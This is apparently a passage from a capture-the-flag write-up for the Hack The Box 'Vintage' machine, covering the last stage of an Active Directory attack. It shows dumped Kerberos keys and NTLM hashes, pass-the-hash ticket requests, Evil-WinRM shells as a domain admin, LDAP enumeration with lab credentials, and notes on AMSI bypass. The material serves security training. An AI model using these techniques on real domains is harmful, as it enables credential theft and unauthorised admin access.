L.Bianchi_adm:aes256-cts-hmac-sha1-96:395685cdaf840ed625d1cb37371be9ba6c8294039a87a02e4a28b883bc5845ac
L.Bianchi_adm:aes128-cts-hmac-sha1-96:ca5fe7c2261a49f5910c0926a6100ab1
L.Bianchi_adm:des-cbc-md5:cb021337589d313e
DC01$:aes256-cts-hmac-sha1-96:f8ceb2e0ea58bf929e6473df75802ec8efcca13135edb999fcad20430dc06d4b
DC01$:aes128-cts-hmac-sha1-96:a8f037cb02f93e9b779a84441be1606a
DC01$:des-cbc-md5:c4f15ef8c4f43134
gMSA01$:aes256-cts-hmac-sha1-96:a46cac126e723b4ae68d66001ab9135ef30aa4b7c0eb1ca1663495e15fe05e75
gMSA01$:aes128-cts-hmac-sha1-96:6d8f13cee54c56bf541cfc162e8a22ef
gMSA01$:des-cbc-md5:a70d6b43e64a2580
FS01$:aes256-cts-hmac-sha1-96:d57d94936002c8725eab5488773cf2bae32328e1ba7ffcfa15b81d4efab4bb02
FS01$:aes128-cts-hmac-sha1-96:ddf2a2dcc7a6080ea3aafbdf277f4958
FS01$:des-cbc-md5:dafb3738389e205b
[*] Cleaning up... 

Shell

Administrator Fails

The next step would be to take the NTLM hash for administrator, request a TGT, and use it to get WinRM access:

puck@kali$ getTGT.py vintage.htb/administrator@dc01.vintage.htb -hashes :468c7497513f8243b59980f2240a10de                          
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in administrator@dc01.vintage.htb.ccache
puck@kali$ KRB5CCNAME=administrator@dc01.vintage.htb.ccache evil-winrm -i dc01.vintage.htb -r vintage.htb

Evil-WinRM shell v3.7

Info: Establishing connection to remote endpoint

Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Invalid token was supplied
Success

Error: Exiting with code 1

It fails. That’s because the Administrator account is restricted from logging in. I can see this with netexec:

┌──(bolke㉿bolke)-[~/htb/vintage]
└─$ netexec smb dc01.vintage.htb -u Administrator -H 468c7497513f8243b59980f2240a10de -k
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\Administrator:468c7497513f8243b59980f2240a10de STATUS_LOGON_TYPE_NOT_GRANTED

STATUS_LOGON_TYPE_NOT_GRANTED says that this user cannot log on, at least in this way.

L.Bianchi_adm

The Domain Admins group has two users in it:

I’ll try the same thing with L.Bianchi_adm:

└─$ getTGT.py vintage.htb/L.Bianchi_adm@dc01.vintage.htb -hashes :8fc670eb02e15c49b9e2364a74c4c25e
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in L.Bianchi_adm@dc01.vintage.htb.ccache
                                                                                                                     

└─$ KRB5CCNAME=L.Bianchi_adm@dc01.vintage.htb.ccache evil-winrm -i dc01.vintage.htb -r vintage.htb
                                        
Evil-WinRM shell v3.7
 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
 Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\L.Bianchi_adm\Documents>

It works, and I have a shell. I could have skipped the DCSync attack and just gotten a ticket as L.Bianchi_adm from the RBCD attack as well.

I’ll read root.txt:

That was Fun 🙂

Other handy enum tools

ldapsearch -H ldap://10.10.11.45 -D "P.Rosa@vintage.htb" -w 'Rosaisbest123' -b "DC=vintage,DC=htb" | tee -a ldap.data

ldapdomaindump -u 'vintage\P.Rosa' -p 'Rosaisbest123'  -o dump/ ldap://10.10.11.45 -at SIMPLE

.

Beyond root

Evil-WinRM on both Kali and Parrot is 3.5 and the latest version that I’m using here is 3.7 which had some updates for the ETW and AMSI patching

Also the default version will throw this error [ malloc_consolidate(): unaligned fastbin chunk detected ] and kill our shell after a while, randomly or when something is taking too long to load / finish

This issue seem to be cause by one of the packages that Evil-WinRM used, so simply install the new version on top of what we already have isn't going to fix this issue, we'll have to purge the packages and re-install everything with gem

sudo apt purge -y evil-winrm; sudo apt autoremove -y; sudo gem install evil-winrm

Also another thing for loading anything straight into memory to work, we’ll have to run Bypass-4MSI for the patching’s > menu to reload the utilities > and then Invoke-Binary

Cleanup script

*Evil-WinRM* PS C:\windows\system32\tasks> type "C:\users\administrator\documents\cleanup.ps1"
Import-Module ActiveDirectory

$groupName = "ServiceManagers"
$accountsToAdd = @("C.Neri", "G.Viola", "L.Bianchi")
$currentMembers = Get-ADGroupMember -Identity $groupName -Recursive

foreach ($member in $currentMembers) {
    if ($accountsToAdd -notcontains $member.SamAccountName) {
        Remove-ADGroupMember -Identity $groupName -Members $member -Confirm:$false
        Write-Output "$($member.SamAccountName) has been removed from the $groupName group."
    }
}

foreach ($account in $accountsToAdd) {
    $groupMember = Get-ADGroupMember -Identity $groupName -Recursive | Where-Object { $_.SamAccountName -eq $account }

    if (-not $groupMember) {
        Add-ADGroupMember -Identity $groupName -Members $account -Confirm:$false
        Write-Output "$account has been added to the $groupName group."
    }
}

$groupName = "DelegatedAdmins"
$accountsToAdd = @("C.Neri_adm", "L.Bianchi_adm")
$currentMembers = Get-ADGroupMember -Identity $groupName -Recursive

foreach ($member in $currentMembers) {
    if ($accountsToAdd -notcontains $member.SamAccountName) {
        Remove-ADGroupMember -Identity $groupName -Members $member -Confirm:$false
        Write-Output "$($member.SamAccountName) has been removed from the $groupName group."
    }
}

foreach ($account in $accountsToAdd) {
    $groupMember = Get-ADGroupMember -Identity $groupName -Recursive | Where-Object { $_.SamAccountName -eq $account }

    if (-not $groupMember) {
        Add-ADGroupMember -Identity $groupName -Members $account -Confirm:$false
        Write-Output "$account has been added to the $groupName group."
    }
}

# Clear SPNs, disable svc_sql
Set-ADUser -Identity svc_sql -Clear ServicePrincipalName
Disable-ADAccount -Identity svc_sql
Set-ADAccountPassword -Identity svc_sql -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Zer0the0ne" -Force)
*Evil-WinRM* PS C:\windows\system32\tasks>

.